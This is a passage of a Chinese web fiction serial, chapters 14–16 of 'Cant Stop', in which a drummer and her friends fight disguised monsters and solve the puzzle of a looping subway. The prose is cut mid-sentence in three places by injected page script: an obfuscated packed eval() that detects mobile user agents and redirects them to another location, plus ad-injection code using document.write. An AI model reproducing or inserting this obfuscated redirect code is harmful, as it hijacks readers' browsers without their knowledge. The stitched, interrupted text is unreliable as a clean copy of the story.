鼓棒抵着袭面而来三枚冰锥,那冰锥通体殷红、锋利如刃,裹挟着寒气刺来,要不是秦赤年挡得快,怕是得血花四溅。 “这就是……你的武器?打鼓用的……玩意?”红人笑了起来,她说话断断续续,似是“变身”后脑半球还没掌控好语言功能,声音却比那冰锥更刺骨,“就两根筷子,也想……打败我!” “不要瞧不起筷子啊,你吃饭不用筷子吗”这句话她没来得及应,又是三枚冰锥袭来,秦赤年险险一避,锥子削断她小半截头发,扎进身后的冰面玻璃,爆起大片裂痕。 “呵……我……让你躲!” 又是三枚冰锥,秦赤年以鼓棒作挡,弯身想躲,然而一动才发觉,她的右脚鞋底早已被冰冻住,大块冰霜凝结着攀上她的裤腿,寒意从脚底贯入四肢百骸。 咔。 冰锥击中她的右肩,痛得她低骂一句。 这是怎么回事?眼前这个红人,和她一路上遇到的都不同,她具有人类的智能?甚至还会说话?!“就差三个了”又是什么意思?她是怎么进入这节车厢的? 见鬼了,不管这些乱七八糟的,当务之急,她得先解决掉她! 冷,冷极,低温几乎将她的所有行动冻结,秦赤年因着鼓手的经历,手脚的反应力已比常人快不少,可现在,她捂着伤口侧身躲避飞袭而来的冰锥子,快耗尽浑身的气力,更遑论反击红人。 怎么办、该怎么办,寒意劈头盖脸,握着鼓棒的手开始变得僵硬,血腥气混杂着凝冰湿冷的气息,萦绕她鼻端——得用鼓棒去攻击敌人的光环才行,对,上次变成了剪刀,这次,这次要怎么做才能…… 嘶! 肩膀又挨了一击! 伤口开裂,大量血液从指缝流出,低温已减缓了伤处恶化,可眼前这红人却以惊人的准度,再次击中了她的右肩! 手臂的力气随血液的流失而消损,血顺着胳膊,一点点落在鼓棒上,轻易染红这两柄黑色的纤弱武器,要命,她快疼死了。 红人咧着嘴,尖牙锋锐,望着秦赤年的目光,像望着笼子里无路可逃的猎物,一个混沌态的猎物,一个混沌态的猎物!对于她而言,这是最完美的血祭! 红色冰锥,即将再度朝她袭来! “呵、呵、呵呵。” 笑声。 笑声响起。 像是外公家里老旧的手风琴,不喘气拉了个十天十夜,给拉坏了,才会发出这样的声音。 又哑、又干,瘪瘪的,不像在笑,像在空气中有来有回地撕扯东西。 ——“都这个时候了,你还不快用那个?” 谁!? 谁在说话? 声音是从很近很近的地方传来,就在身侧,可她却找不到发声的人! 她终于疯了吗?不仅是幻觉,连幻听都有了吗? “快点儿啊,我可不想你在这就嗝屁了。” “你是谁!什么人?” “呵、呵、呵呵。不要讲废话,快用那个。” “什——那个!?那个是哪个?” “那个,就是那个啊。” 当。 大脑中嗡嗡一响。 她再一次看到了“画面”。 14.Cant Stop 014 红人为什么只投出冰锥,却不接近她? 因为这个红人具有人类的智慧,不仅不会贸然接近她,甚至最开始就假扮成了季蕾蕾,打算让她放松警惕。 放松警惕,是为了什么? 为了一击必杀。 ——“就差……三个了……这是……天大的好机会……谁会有我……这么幸运……” 虽然不知道“就差三个”背后意味着什么,怎么就成了“天大的好机会”。但……这段话里透露出,眼前这个假扮作季蕾蕾的红人,必定想在这稳稳拿下她,一丝一毫都不愿有疏漏。 那么,她会怎么做? 她以冰作为武器,让秦赤年负着伤,冰霜又让地面结冰,她几乎难以移动。 而还有一个人—— “方守”不见了! 就在刚刚假季蕾蕾一个劲投击冰锥时,假方守就从秦赤年视野中消失了! 原来如此。 这一番思索,不过瞬秒之间。于是她…… 看到了画面。 千脉万络,如蜘蛛结丝,自脑中的四方天地织聚成一张大网,网中冰雪车厢、狞笑红人、倒地尸体……是鲜艳得快要流出血色的死亡图景。 ——假方守悄无声息地绕到秦赤年背后,在她分神躲避红人冰锥的时候,以迅雷之势扑上前,张开巨口,咬住她脖子的光环,斑斓混沌的粒子开始消散,红人狞笑着大步上前,一脚踢开她想去够着的掉落于地的鼓棒,而后,锋利的冰锥扎入她的脖颈,粒子于空气中灰飞烟灭。 她死了。 画面结束。 秦赤年扑了上去。 这一扑并不快,光是鞋子从那结冰中挣脱已耗极力气,所以假季蕾蕾很轻易便躲过了,可在那之后,她的目光越过秦赤年身后,看到了不可思议的一幕。 假方守维持着一个猛扑的动作,一动不动。 他的表情狰狞到极点,红色粒子在激烈地跳动,必然不是他不想动——而是他不能动。 在这实形车厢空间内,仿若罩临了一只无形的大手,手指微微屈起,便如捏起一只蚂蚁般,捏住了假方守四肢五体。 动弹无路。 他张着口,犹然发出愤怒中夹杂惊惧的声音,整张脸绷到了最紧,似是想挣脱什么,可不管他怎么努力,也丝毫都——无可撼动。 “你愣着……做什么!快杀了这个女——” ——“【骷髅鼓棒】已变幻为【可以当成剪刀的骷髅鼓棒】。” 脸上一凉。 有什么尖锐的、生着细密短刺的东西,抵在了她的下巴。 红人甚至只来得及发出一声类似“嘎啊”的声音。 色泽混沌如地狱图景的粒子,狂风骤雨般袭来,在这混沌光环所覆之下,红色粒子只勉强了挣扎了几秒。 而后,便全数为鼓棒上的光环粒子所吞噬。 红人倒在地上,血液咕嘟、咕嘟涌出,像条抽干水分的毛巾似的,秦赤年不想目睹那副死状,撇开脸,余光却瞄到身后的动静。 ——“【可以当成剪刀的骷髅鼓棒】已变幻为【可以当成飞镖的骷髅鼓棒】。” 唰。 手中鼓棒从剪刀形态拆分开,其中一根上下对折,末端旋出小尖角,酷似一枚飞镖。 以指间夹住飞镖鼓棒,秦赤年朝身后甩去。 鼓棒正中假方守前额。 血液汹涌,粒子滚动,红人挣扎不休。 秦赤年拖着身子后退,来到红人身旁,狠下力度,鼓棒一压。 红人倒地。 光环裹覆着黑色鼓棒,其上混沌色泽的粒子,变得更加浓烈了。 秦赤年抽出鼓棒,擦了擦棒身,小心地放入背包两侧。 肩膀的伤还在流血,每走一步都生疼,温度逐渐恢复正常,那渗人的冰霜也开始融化,秦赤年来到车门处,哗啦,打开了门。 车厢里有三位乘客。 一对情侣,八爪鱼似的互相紧贴对方,恨不得黏死在一块;对座一个老太太,黑圆点的两眼竖成椭圆状,老大不高兴的模样。 秦赤年扶额,不是吧,这也要她来? 她走近那对情侣,两人缠抱着,几乎快化为一体了,她伸出手,想掰开二人,掰了半天没松动,伤口处的血倒是越流越凶。 “你们……别欺负伤患啊……” 秦赤年无奈,在情侣旁边一屁股坐下,仰头靠着椅背,不想动了。 情侣还在黏抱,圆点紧贴着圆点,发出类似啵唧、啵唧的声音。 过了一会儿。 情侣中的女性动了动鼻子,是的,虽然并没有鼻子这个器官,但这位乘客还是发出了类似抽动鼻子的声音,似乎在嗅着什么。很快,秦赤年身上那混合着血气与汗臭的味道传入她的鼻子,越闻,气息越浓烈。 忍受不了这个味道,女生挪着身子想从座位上站起,秦赤年抓住这个空档,堂而皇之地挤入他们之间的位子。 唰。 这一挤入,这对情侣便给硬生生挤到了楚河汉界的两端,剩下中间的秦赤年,眼巴巴望着对面的老太太。 老太太脸上的黑圆点终于回归正常。 然后…… 没动静了。 “……嗯?” 没有扭蛋的吗?? 十分钟过去了,老太太完全没有想要给她扭蛋的意思。 秦赤年愤怒地站起身,一愤怒一用力,肩膀又生疼,她龇着牙,又愤怒地坐了下来。 屁股处一硌。 她起身,一望。 刚刚那对情侣紧黏着的座位上,放着一枚扭蛋。 丈八灯台照远不照近,灯下黑啊。 她悻悻捡起扭蛋,拆开,是一把蓝色钥匙。 蓝色的……如果没记错的话,在前面的车厢,他们还捡到过一把红色的钥匙。 两把钥匙除了颜色不同以外,造型基本一致。 不过一直没有用到的地方。 她收起钥匙,环望四周,好像没有别的线索了。 来到车门处。 这次的交接处车门……和之前不太一样。 门上有一个长方形的液晶屏,显示着一行字: 前方危险,请小心。 秦赤年微眯起眼,伸出手,转动门把—— 转不动。 低头望去,门上有个钥匙孔。 原来钥匙是用在这个地方。 她忙摸出方才塞入口袋的钥匙。咔嚓。 门——没有动静。 秦赤年微恼,拳头砸了砸门,门上的字闪了闪,增加了一行: 需要红色钥匙。 “靠,你不早说,遛人呢这。红色钥匙、红色钥匙、红——” 秦赤年望着背包内的东西,愣住了。 红色钥匙…… 好像放在方守那里。 * 不管秦赤年如何撞门、砸门、锤门……眼前的车门也如铜墙铁壁,不可撼动。 门上那行字,冰冷森森: 需要红色钥匙。 红色钥匙在方守和季蕾蕾那,她手上只有蓝色的钥匙。 到底怎么回事,方守和季蕾蕾……为什么会到对面的车厢去? 秦赤年在座位上坐下,从背包里拿出超市顺来的纱布、酒精,随便在肩膀包了下,血流得凶,按照正常的认知,她早该失血过多而亡了。 脖子上很烫,透过对面的车窗镜子,可以看到粒子在涌动。是因为光环的缘故,她才能蹦跶到现在吗? 光环粒子…… 秦赤年坐在座位上,盯着空气中不知道哪一点,突然开口:“喂。” “喂,你还在吗?” 刚刚,在那节车厢和红人战斗时,她听到了一个坏掉的手风琴般的笑声,那个声音,提示她要用“那个”。 于是,她就用“那个”,打败了红人。虽然自己也受了伤,但好歹活了下来。 “你是谁?” “是人还是……不是人?” “喂??” 无人回应。 只有她像个傻瓜。 秦赤年沉沉叹口气,大脑快被无穷无尽的信息量淹没,她闭上眼,在心中默念——思考!思考!万般皆下品,惟有动脑子! 首先,刚刚在7号车厢,她借由程序员小哥送的眼镜,看到了对面车厢内的季蕾蕾和方守。 为什么他们会到对面的车厢去? 她和他们分开之后,他们找到打开车门的方法,跑到对面车厢去了? 那两个假扮成季蕾蕾和方守的红人,也是趁着车门开启的空档,进入这趟地铁的? 若她没记错,季蕾蕾和方守是在……从左往右数第五节车厢左右的位置,或者是第四节?因为对面列车为反向,也就是2号或3号车厢。 ……等等。 好像忽略了什么东西。 有一个……很关键的地方……她当时只顾着惊讶季蕾蕾和方守居然在对面车上,又被季蕾蕾那句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211341|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快逃”给惊了神,自动忽视了某样东西。 非常重要的东西。 重要到……可以把当前的一切结论推翻。 ——她戴上眼镜,第一个看到的不是列车,而是广告牌。 秦赤年站起身,背包从她怀里滑落,掉在了地上。 她现在所在的地铁,早已不是最开始的那班列车! * ——乌口道地铁站共有四趟列车。 ——以红色为代表色的一号线,从三桥河开往云园方向,和从云园开往三桥河方向,这两趟车在地下一层,中间有广告牌挡着。 她现在所在的,很明显是1号线列车,由云园开往三桥河方向。 ——而以蓝色为代表色的三号线,则有从南站开往小靛方向、小靛开往南站方向两趟列车,在地下二层。换向直接通过月台到对面即可,中间没有广告牌的遮挡,可以透过车窗看到对面列车的景象。 他们最开始,乘坐的是开往南站的3号线地铁。 什么时候? 从什么时候开始,他们从3号线跑到1号线上去了!? 在6号车厢时吗?变化是在那个时候发生的。她一个人来到6号车厢,开启了通往下一节车厢的门,原本,打开后应该会绕回1号车厢,可她却来到了新的车厢——没有任何乘客,只有两个红人,假扮作季蕾蕾和方守。 为什么会这样? 就因为她和季蕾蕾他们分开了吗? 她来到了1号线三桥河方向,他们则去了1号线云园方向——搭乘列车的转移,和人数有关? 秦赤年抬起头,和3号线列车一样,1号线车厢内所有能展示车厢号、轨道交通线路图、到站点的地方,全都是一通乱码,车窗车门也被材质奇异的黑布遮覆,车内人要想凭借周身环境区分自己所在的列车号线,几乎不可能。 她现在所在的,又是第几节车厢? 秦赤年靠着座椅,思绪如同一团毛线,越思考越缠越乱,眼下,还有一个至关重要的问题—— 她现在该怎么做? 开启下一扇车门需要红色钥匙,而她手中持有的是蓝色钥匙。 红钥匙在方守那里,方守他们却跑到了对面车厢。 这不就……又走进死胡同了? 秦赤年站起身,茫茫然立于车厢中央,那对分隔两端的情侣因着她的离开,又以基于高能加速器的粒子对撞机般的速度黏在了一块,难分难舍。 她戴上透明眼镜,想再看看车外的景象,可理所当然的,眼镜已经失效了。 地铁车窗外,只有大片黑暗。 往前走,门不通。 往后走…… 不要回头! 不要回头! 不要回头! 该死,为什么不让回头? 这咬尾蛇一样的地铁,说白了他们不是一直在往回走吗! 回头……到底会发生什么? 秦赤年咽了口唾沫。 某个想法一旦涌上来,这时别提理性思维也好、尝试主义也罢,最重要的是—— 已经成功勾起她的好奇心。 回头,会发生什么? 看到身后一张吓人鬼脸?发现来时的路变成燃烧着的半截悬崖?有两个双胞胎小女孩站在她背后? ……无论哪一种,都不太友好啊。 秦赤年抹了抹额上的汗,肩膀还疼得很,动一下都费力,她深吸一口气,开始缓慢地挪动身子。 一点一点。 一点一点。 她转回了头。 以一排排栏杆为中心轴,对称发散,不论是双排车座还是两端窗户,都将近大远小的透视关系诠释得十分醒目,拉环轻晃,稍显昏暗的灯光在地面映出投影,身后是空荡荡的车厢。 尽头的车门紧闭着。 和她刚刚过来时所见的场景一模一样,没半点变化。 没有鬼脸、没有燃烧悬崖、更没有双胞胎小女孩。 秦赤年一时有种被耍了的感觉。 也不知该庆幸还是失望,毕竟她确实不太想看到什么穿蓝裙子的俩姐妹站在她身后之类的景象…… 她转身回来。 眼前站着一个男人。 非常高,几乎快要够着车顶,整个人像被拉面师傅拉长过了,身上穿着白色的列车长制服,脸上是三个黑漆漆的圆点。 秦赤年来不及做任何反应。 男人举起手中的警棍,朝她的头重重一击。 15.Cant Stop 015 “痛……痛死我了……” 季蕾蕾捂着头,从地上爬起。 眼前一阵眩晕,重影叠晃,她努力眨了好几次眼,视野才慢慢恢复正常。 “方守,方守,醒醒!” “这是哪儿……哎哟,好痛!” 方守茫然然坐起身,季蕾蕾看到他脑门上和她一样,肿了个大包。 “那个男人……该死,搞什么鬼啊……” 他们在5号车厢内回头,没发现什么异常,便又转了回来,这不转回头不要紧,一转,就见一个像被拉长了似的男人站在二人面前,话还没说半句,拎着根警棍,将两人劈头敲晕。 “他身上穿的是列车长的白色制服,他是……这趟地铁的列车长?” “哪有列车长会敲晕乘客的……” “因为我们回头了,这是回头的……惩罚?嘶……好痛……” 方守扶着季蕾蕾站起,车厢内光线昏暗,隔几秒就闪一下,似乎……不是他们之前所在的车厢。 很快,眼前所见之景,佐证了这个想法。 不远处吊着一个人。 粗绳绕过脖子,打了死结,一个穿着红色外套的长发女人,吊挂在栏杆之下。 季蕾蕾、方守皆是一颤,女人垂着头,长发遮住脸孔,看不清。 空空旷旷地铁车厢,吊挂着这么一个人,黑长发红外套,什么鬼故事这时都往脑子里涌。季蕾蕾推了方守一把,以眼神示意:快上去看看。 方守心在流泪,脚下挪得一步比一步慢,季蕾蕾从“神秘男人之列车长回头杀”那吃了瘪,这下可小心了起来,手里紧紧攥着洋伞,跟在方守一侧。 两人走近红外套女人。 咔。 咔。 “啊?啊啊?” 咔嚓。 绳子断裂的声音。 方守尖叫一声,以雷霆般的速度躲到季蕾蕾身后,季蕾蕾比他更惊,慌乱中打开了洋伞,囔着“什么鬼”、“别过来”,蓝色洋伞在空气中打出魂斗罗拳法。 红外套女人倒在地上。 长发散开,露出她的脸——空白到乏味的一张脸,三个黑漆漆圆点,不言而明。 季蕾蕾重重松了口气——没等这口气松完,女人又动了。 黑色圆点裂开一缝,一枚扭蛋,自口中吐出,骨碌碌滚到季蕾蕾脚下。 ……好熟悉的场景。 季蕾蕾弯腰捡起扭蛋,打开。 扭蛋内是一张纸条,上面写着三行文字: 不要回头! 不要回头! 不要回头! 季蕾蕾看了眼方守。 方守觉察她的目光,呆呆地望向纸条,一秒,两秒,他的嘴渐渐张大,意识到什么。 1号车厢。蓝色外套的男人。提示扭蛋。 这里……难道也是1号车厢? * 除了红外套女人的扭蛋,这节灯光时明时暗的车厢再无其他提示,二人走到交接车门处,季蕾蕾掌心冒汗,她闭上眼,脑中闪过了BABY、ATELIER PIERROT、Millefleurs即将发售的最新系列的人台图,笑容从嘴角浮现,她点点头,在方守“我的表妹终于已经疯了吗”的目光中,拉开了车门。 紫色的灯光,笼罩着车厢。 远处地上,坐着一个老婆婆。 老婆婆头发花白,穿着紫色的斗篷,整个人缩成一团,手里捧着一个发着光的水晶球,面前铺着一张黑布,黑布上是六张反面盖住的塔罗牌。 季方二人走上前,蹲下,老婆婆望着他们,指了指黑布上的牌,伸出了一根手指。 “呃,这是……要我抽一张牌吗?” 老婆婆点点头。 季蕾蕾望着黑布上图案华丽的塔罗牌,伸出手,选择了一张。 鬼之厢。 卡牌上写着“鬼之厢”这三个字,下方画着两个红色的人影,中间则有一个骷髅头。 老婆婆发出笑声,回荡在寂静的车厢内,她“哈啊哈啊”地笑了许久,忽地,嘴部的黑色圆点裂了开来。 一枚扭蛋吐出。 打开扭蛋,依旧是纸条,写着一句话: 你的朋友很快有危险 季蕾蕾一怔。 “朋友,危险……”方守犹在喃喃思索,季蕾蕾却突然站起身。 “方守,我们现在所在的……到底是哪个车厢?” “你问这个,我也……” “秦赤年她,现在又在哪个车厢?不,不止是车厢,她现在……” 方守怔愣愣望着她,季蕾蕾忽然低头,在挎包内一阵翻找。 “我们手头还剩这两个东西。” 一把红色钥匙,一副透明眼镜。 季蕾蕾拿起眼镜,戴上。 方守被她动作一惊,不由地接过她递来的剩下一副眼镜,犹豫几秒,也老实戴上。 透过镜片,幽紫色的灯光似乎变得亮堂了些,但除此之外,周围的场景并没什么特殊变化。 季蕾蕾眯着眼,目光转向车窗。 “方守,你快看车窗外面!” “啊!居然透视了?” “那是什么……广告牌……哎,那里有人影……秦赤年!?不,还有两个人……” 季蕾蕾呆住了。 对面列车上,有两个和他们一模一样的人。 长相、着装都一模一样,秦赤年在和他们搭话,表情平常,偶尔笑笑。 ——你的朋友很快有危险。 季蕾蕾冲到窗边:“喂!!秦赤年!喂!” 方守也跟着上前:“秦姑娘!我们在这!那个是假的!!” 不知是不是老天爷显灵,他们这头喊得声嘶力竭,几分钟后,对面的秦赤年取出透明眼镜戴上,开始四下观察,很快,她发现了端倪。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“秦赤年!看这里!喂!” 季蕾蕾将手搭在唇边:“快逃!不要待在那!” 季蕾蕾不确定秦赤年到底看到他们没有,而她只见对面车厢内,和她长得一模一样的女人,走近了秦赤年,露出她根本不会有的表情…… 眼前恢复黑暗。 透明眼镜失去了效果。 季蕾蕾取下眼镜,老婆婆还在那笑着,笑声诡异又刺耳。 鬼之厢…… 那两个打扮得和他们一模一样的人,是……鬼?他们想对秦赤年做什么? 不管要做什么,远在对面车厢的他们,什么忙也帮不上。 “有点儿奇怪……” 这时,方守突然出声。 “嘶……这不太对啊……” “怎么了?” “我们刚刚,看到一排的广告牌对吧?” 季蕾蕾点点头。 “3号线在地下二层,按理来说,是可以直接看到对面列车的,中间……并没有广告牌。而中间隔着广告牌,得下楼到对面才能换向的……是1号线。”方守每天上班都坐这趟车,自然熟悉得很。 “你的意思是……我们现在所在的,是1号线地铁?” 他们现在所在的,是1号线,往云园方向。 秦赤年在他们的对面,1号线,往三桥河方向。 他们都已经不在最开始的3号线列车上了。 紫色的灯光闪晃眼前,老婆婆还在笑。 * “好……痛……”秦赤年颤巍巍从地上爬起:“这是……哪?” 不远处,躺着一个男人,穿着蓝色外套。 1号车厢?? 秦赤年摸着头上的肿包,嘴里吸着气,这一警棍快要了她的老命,不讲武德啊,怎么话都不说一声就打人的。 她越过蓝外套男人,拉开尽头的车门。 敲打键盘的声音。 秦赤年按着前额,眼前还有些晕,事到如今,她也不能确定自己是不是被那个穿着制服的男人一棍子敲傻了,才看到眼前此景。 程序员小哥在写代码,键盘敲击声噼里啪啦。 秦赤年走上前,在小哥旁边坐了下来: “大哥,你能告诉我,我现在到底特么的在哪个车厢吗?” 小哥看了她一眼。 低头,敲代码。 秦赤年无可奈何,朝前走,走到尽头,打开车门。 蓝色外套的男人,倒在地上。 接下来……得在1号车厢和4号车厢间打转? 仿佛没有尽头。 长长的列车车厢内,映入眼帘的一切是规整到可怕的透视关系,冰冷的铁质栏杆、脸上只有三个黑圆点的“乘客们”……地铁内的空气,都令人焦躁起来。 秦赤年望着远处的车门,黑布遮覆了一切,下一扇门,是原点。 到底要怎么做,才能抵达驾驶室? 16.Cant Stop 016 “方守,现在几点了?” “22点整。” 他们已经在这该死的地铁上度过了12个小时。 从老婆婆车厢向前走,他们又经过了两节车厢,帮助了奇怪的乘客后,分别获得了一把黄色钥匙、一张报纸。 黄色钥匙和之前的红蓝钥匙不太一样,很小,应该是抽屉或什么保险柜的钥匙。 报纸上记录着十几则新闻,都是近五年内在天州市发生的,大到工厂化学物质爆炸救援队及时赶到有伤无死、小到男子当街抢劫被女子开电动车撞倒,就这种福祸所依的新闻,登载数则,意义不明。 然后…… 咬尾蛇的状况再次出现了。 此处,以发现上吊的红外套女子作为1号车厢,占卜老婆婆为2号车厢,接下去是3号车厢、4号车厢,打开4号车厢通往5号车厢的车门时,他们又来到了1号车厢。 这之后,他们就在1、2、3、4四节车厢无尽循环。 驾驶室,好似永无法抵达。 季蕾蕾开口了:“方守,咱们再按照之前秦赤年说的那样。” “哪、哪样?” “错开来走。” “可是……”可之前就因为错开来走,他们才阴差阳错和秦赤年分开,现在这姑娘是生是死……都不知道。 “从昨天到今天,我已经快48小时没洗过澡。我现在、立刻、马上,就要解决这个该死的光环任务!” 精致的蓝色洋裙因一路的奔波沾着污痕,季蕾蕾将其一一擦去,动作细致又谨慎,身上的汗臭味固然可以忍耐,可她无法再忍受这汗臭污染她的裙子。 两人按照她的方法错开前进,季蕾蕾在前,方守在后,5分钟间隔,发现变化就停下等待对方,结果…… 变化果真出现。 从老婆婆车厢开始,他们经过了三节从未进入过的车厢,分别获得了三个扭蛋提示。 提示之一:关于“回头”的说明 若违规回头三次,列车长将会对试炼者直接进行光环剥夺 提示之二:关于“人数”的说明 本场光环任务不建议单人独自参与 提示之三:关于“启动列车”的说明 抵达驾驶室即可启动列车 他们现在所在的是第三节新车厢,交接处车门和之前的都不一样,门上有一个长方形的显示屏。 前方危险,请小心。 其上如是写到。 季蕾蕾望向门把,下方有个钥匙孔。 她用红色钥匙打开了门。 哗。 门后是新的车厢。 车厢尽头上方的报站滚动屏上,显示着一行字: 前方驾驶室 两人并没来得及因这行字而开心,因为,下一秒,他们同样也看到了—— 车厢中央,站着那个穿列车长制服的男人,他的骨骼实在离奇,个子快要顶到天花板,整个人像被从两端使力拉长过一样。 列车长挥舞着手中的警棍,皮鞋底在车厢地板上踩出咚、咚的声音,朝两人疾步走来。 * 秦赤年实在是没有办法了。 她又饿、又累、又受着伤,在这两个快看吐的车厢再绕下去,她得疯掉。 她打算再回头一次。 当然不是等着挨打,那个穿列车长制服的男人有警棍,她还有鼓棒呢,大不了拼了,这次她做好了准备,一定能反击成功。 反击个锤子! 警棍朝头上砸来的瞬间,秦赤年都没来得及动一根手指,这个怪物的反应力实在快得吓人,她再一次被狠狠敲晕。 “我要……脑震荡了……医药费……能找谁报销……” 她扶着头坐起,远处好像也趴着个人。 摇摇晃晃走上前,将那人翻了过来,已经做好准备迎接一张三个黑点的脸,没想到,那人脸上有鼻子有嘴,而且还十分眼熟。 “方、方守!” 方守迷迷糊糊睁开眼:“嘶……你是……秦赤年?” 秦赤年的神情非常严肃:“我们是坐什么交通工具去T大的?” “呃,是辆代步车……” “什么颜色的?” “粉、粉色。” “车上发生了什么事?” “车上有一个红人怪物,给咱们打下车了……” 秦赤年如愿松口气:“好了,看样子是真货。你怎么在这儿,季蕾蕾呢?你们在那个车厢都发生了啥?” 方守听着“季蕾蕾”这三个字,如梦初醒:“季蕾蕾她、季蕾蕾她——” “等等等等,你冷静点,慢点儿说,把我们在5号车厢分开后的事都一一说清楚。” 方守便把一切事无巨细告诉了她。 自5号车厢错开之后,他们先后来到了1号车厢(蓝外套男人)、2号车厢(外放音乐大叔)、3号车厢(人挤人)、5号车厢(高中生),之后便一直在这四个车厢内循环。 两人尝试回头,被列车长男人打晕,睁开眼后来到了1号线地铁(云园方向),开始在1号车厢(红外套女人)、2号车厢(老婆婆)、3号车厢(黄色钥匙)、4号车厢(报纸)之间打转,季蕾蕾又提出再次错开前进,他们以此成功打破循环,走入了三节新的车厢,在第四节新车厢内,他们再次遇到了“列车长”。 “那个男人疯了一样,抄着那根警棍就砸过来,我、我便把季蕾蕾推开,让她赶紧去驾驶室,我以为只要进驾驶室启动了列车,就万事大吉,这疯子一样的列车长也会变得正常。” “我一直退后,吸引列车长的注意,季蕾蕾趁此机会进入了驾驶室,可她进去后却迟迟没有启动列车,这之后,我又被敲晕了……” 这一棍子可真是疼,方守揉着头:“醒过来,就是在这了,没想到能遇到秦姑娘你,唉,你没事就好。” 他望了望四周:“这儿,好像是我们发现黄色钥匙的车厢,哦,那把钥匙现在在季蕾蕾那……她一个人进了驾驶室……” 完了,完了,方守只想抽自己两个嘴巴子,怎么就自作聪明让季蕾蕾一个人去驾驶室!那里头会有什么?那个残暴的列车长会不会追进驾驶室?若没出意外,她怎会迟迟不启动列车! “不,方守,你说错了。” 秦赤年忽然开口。 她自方守开始说明后便一直没出声,冷静倾听着,此刻突然冒出这么一句,让方守愣了神。 “这儿不是什么‘发现黄色钥匙的车厢’,这儿是……”她道,“C1号车厢。” 由不得方守震惊,秦赤年拉开书包拉链,从里头取出了纸笔,开笔帽时动作太快,盖子掉在地上,滚了老远,她也没那个心思理会,唰唰在纸页上画了四道痕迹。 方守困惑地望去,那是四个长方形。 秦赤年在长方形的左侧标下了A、B、C、D四个字母。 “这、这是……” “这是地铁。” 手指落在A的位置上:“1号线,云园方向,代表色红色。” 落在B位置:“1号线,三桥河方向,代表色红色。” 落在C位置:“3号线,小靛方向,代表色蓝色。” 落在D位置:“3号线,南站方向,代表色蓝色。” “你说在5号车厢时,那个高中生对你说了‘四个选项都是对的’吧?没错,四个选项都是对的,四趟列车,也都是任务的执行地点。” 笔尖的涂画继续。 在长方形A上划分了5道:“从右往左,A1,A2,A3,A4,A5,A6。” 在B上同样划分5道:“从左往右,B1,B2,B3,B4,B5,B6。” 长方形C:“从右往左,C1,C2,C3,C4,C5,C6。” 最后是长方形D:“从左往右,D1,D2,D3,D4,D5,D6。” 划动笔尖,跨越长方形拉出一道长而曲折轨迹,秦赤年的指尖落在纸页上,轻轻一点:“我们最开始,从开往南站的三号线搭乘列车,也就是在地铁D上了车,经过了D1、D2车厢,在D3车厢后,我们……就进入了B1车厢。” “人挤人的4号车厢,根本就不是4号车厢,而是开往三桥河方向的1号线地铁的……第一节车厢。” 秦赤年抬了头,见方守还是一副“我是谁我在哪”的模样,便道:“你和季蕾蕾最后所在的车厢,是6号车厢,没错吧?” 车厢尽头的门就通往驾驶室,不是6号车厢又能是几号? 秦赤年在地铁A的A6上打了个圈:“不旦是6号车厢,还是1号线往云园方向的6号车厢。现在想想,其实给的提示多到离谱……你们是用红色钥匙打开的车门,对吧?” 方守怔怔点头。 “1号线的代表色是红色,所以在1号线列车上,可以看到穿红外套的女人、需要用红色钥匙打开的门。” 确定6号车厢后,再往前推,一切都显得万分明确。 “红外套女性的车厢是A1,老婆婆的车厢则是A2,后面的黄色钥匙、报纸,压根不是接着的车厢,而是3号线开往小靛方向的C1、C2号车厢。” “为、为什么?” “很简单,因为一旦在车厢内的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人数等于车厢号时,列车间的转换……就开始了。” “列车间的转换?” “没错!转换!Transform!重置!Reset!” 笔尖跃动,“D3”车厢上出现了三个小人,在秦赤年鬼斧神工的画技之下,火柴人栩栩如生,个个像残疾,她徐徐道:“当我们三个人来到程序员小哥的车厢时,第一次的Transform,抱歉,第一次的转换就开始了,因为我们的人数刚好等于车厢号‘3号’。” “转换之后,我们来到1号线B1……你想问我为什么是B1而不是C1、A1?当然啦,因为……” 因为列车是反向的。 方守醍醐灌顶:“如果转到C1或A1,因为列车方向的惯性,我们肯定会发觉不对劲!” “没错。所以这个转换只能在同向列车上进行。继续下去,我们来到了以为是4号其实是1号的人挤人车厢,又进入了B2号、B3号,当我们打开B3通往B4的门,又因人数和车厢相等的缘故,绕回了D1车厢,而我们却自以为经历了3号线的全部六节车厢,是在鬼打墙……” 秦赤年在B2上画了个圈。 “第二次转换,发生在B2。我提议错开前进,我在前,你们在后,而你和季蕾蕾正好两个人,一错开走便会从B2绕回D1,之后会在D1、D2、B1、B2之间打转。而我……因为只有一个人,一下子成功进入了此前一直没有进过的B4车厢。也正是你们遇到的那位老婆婆所说的……鬼之厢。” 方守的视线落在她肩上:“你这伤,就是在那车厢受的吧……抱、抱歉。” 他叹口气,只觉得哪哪都不是滋味:他既没护住季蕾蕾,也让秦赤年受了伤……可够窝囊的。 秦赤年摆摆手:“你瞎道什么歉啊,分开走的提议也是我说的。” 低头,拿笔,继续勾画:“鬼之厢后,我们便分了两波,我进入了B5车厢,缺失红色钥匙无法开启下一个车厢的门,也就是B6。由于前路不通,我们都尝试了回头。” 一旦回头,那个拿着警棍的列车长,就会如鬼魅般出现在身后,一棍子将人敲晕。 “一旦被他敲晕,就会进入Reset状态,也就是会重置到四趟列车的1号车厢,就我这两次的经历来看,这个重置应该是随机的。” 这之后,进入A1的季蕾蕾和方守,在A2触发转换,开始在A1A2C1C2之间循环,而独自一人在D1醒来的秦赤年,则开始在D1B1打转。 这转来转去的,稍不留神就可能永远困在其中,好在季蕾蕾尝试错开前进,很快打破了这个循环。 “于是,你们成功从A2走到了A3,之后又来到了A4、A5,最后是A6,离驾驶室只有一步之遥了,但那里……却有列车长把手。” 